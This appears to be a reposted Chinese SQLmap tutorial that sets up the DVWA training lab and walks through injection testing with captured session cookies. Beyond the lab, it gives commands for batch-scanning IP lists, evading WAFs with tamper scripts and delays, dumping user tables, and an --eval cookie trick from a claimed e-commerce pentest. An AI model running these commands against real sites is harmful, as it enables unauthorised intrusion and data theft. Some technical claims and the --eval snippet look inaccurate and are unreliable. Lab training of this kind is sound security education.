当前位置：首页 > news >正文

SQLmap实战：从零开始搭建DVWA靶场并完成注入测试（附完整Cookie配置）

news 2026/4/15 10:34:36

SQLmap实战：从零搭建DVWA靶场与自动化注入测试全流程

在网络安全领域，SQL注入始终占据OWASP Top 10漏洞榜首。对于刚接触渗透测试的开发者而言，如何将理论转化为实战能力成为关键突破点。本文将采用"环境搭建→工具配置→实战演练"的递进式教学法，带你完整走通从DVWA靶场部署到SQLmap自动化注入的全流程。不同于基础教程，我们特别聚焦Cookie动态获取、批量测试策略以及WAF绕过技巧三大实战痛点。

1. 实验环境构建：DVWA靶场部署

1.1 靶场组件选型与初始化

DVWA（Damn Vulnerable Web Application）作为专为安全训练设计的PHP/MySQL应用，其低安全等级配置完美匹配SQL注入实验需求。部署前需准备：

Web服务器：XAMPP 8.2.4（集成Apache 2.4.57+MySQL 8.0.34）
PHP版本：7.4.33（兼容DVWA所有模块）
数据库：MariaDB 10.4.28（MySQL分支）

# 下载DVWA最新版 wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /opt/lampp/htdocs/ mv /opt/lampp/htdocs/DVWA-master /opt/lampp/htdocs/dvwa

1.2 关键配置调优

修改config/config.inc.php文件中的数据库连接参数：

$_DVWA = array( 'db_server' => '127.0.0.1', 'db_database' => 'dvwa', 'db_user' => 'dvwa_user', 'db_password' => 'p@ssw0rd', 'db_port' => 3306 );

执行初始化脚本创建数据库结构：

mysql -u root -p < /opt/lampp/htdocs/dvwa/sql/dvwa.sql mysql -u root -p -e "CREATE USER 'dvwa_user'@'localhost' IDENTIFIED BY 'p@ssw0rd'" mysql -u root -p -e "GRANT ALL ON dvwa.* TO 'dvwa_user'@'localhost'"

注意：若遇到"Could not connect to MySQL"错误，需检查MariaDB服务状态并确保skip-networking配置已禁用

2. SQLmap核心功能深度解析

2.1 智能参数探测机制

SQLmap采用多阶段检测算法：

启发式检测：通过响应时间差异判断布尔盲注可行性
错误回显分析：识别MySQL/MSSQL等数据库特有错误模式
联合查询测试：自动构造UNION ALL语句探测列数

# 典型检测流程（level 3） python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" --level=3 --risk=1 --technique=BEUST

其中BEUST表示：

B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind

2.2 Cookie动态处理方案

针对需要认证的注入点，推荐使用Burp Suite捕获Cookie：

浏览器访问DVWA登录页（默认账号admin/password）
提交登录请求后，在Burp Proxy的History标签页找到POST /dvwa/login.php
复制Cookie: PHPSESSID=abcd1234; security=low

通过--cookie参数注入：

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=abcd1234; security=low" --batch

3. 高级注入技巧实战

3.1 批量目标自动化测试

创建目标URL列表文件targets.txt：

http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1 http://192.168.1.101/dvwa/vulnerabilities/sqli/?id=1

执行批量扫描：

python sqlmap.py -m targets.txt --cookie="PHPSESSID=abcd1234; security=low" --output-dir=/var/reports --flush-session

3.2 WAF绕过技术组合

当遇到Cloudflare等WAF时，采用tamper脚本组合：

python sqlmap.py -u "http://target.com/news.php?id=1" --tamper=space2comment,randomcase --delay=2 --safe-url="http://target.com/contact.php"

常用tamper脚本效果对比：

脚本名称	功能描述	适用场景
space2comment	空格转/**/	基础过滤绕过
randomcase	随机大小写	规则引擎规避
chardoubleencode	双重URL编码	多层解码系统
apostrophemask	单引号转UTF-8	字符过滤绕过

4. 实战问题排查手册

4.1 典型错误解决方案

空结果问题：添加--string="Welcome back"指定成功匹配字符串
302重定向：使用--ignore-redirects跳过跳转页面
速度限制：设置--delay=3 --timeout=30降低请求频率

4.2 数据提取优化技巧

当数据库较大时，采用分块下载：

# 仅下载users表前100条记录 python sqlmap.py -u "http://target.com/news.php?id=1" --dump -T users --start=1 --stop=100 --threads=3

在真实渗透测试中，遇到某电商平台采用非常规Cookie验证机制。通过--eval参数动态更新Cookie值：

python sqlmap.py -u "http://api.store.com/product?id=1" --eval="import requests; cookies=requests.get('http://api.store.com/token').cookies; print('token='+cookies['token'])"

查看全文

http://www.jsqmd.com/news/638214/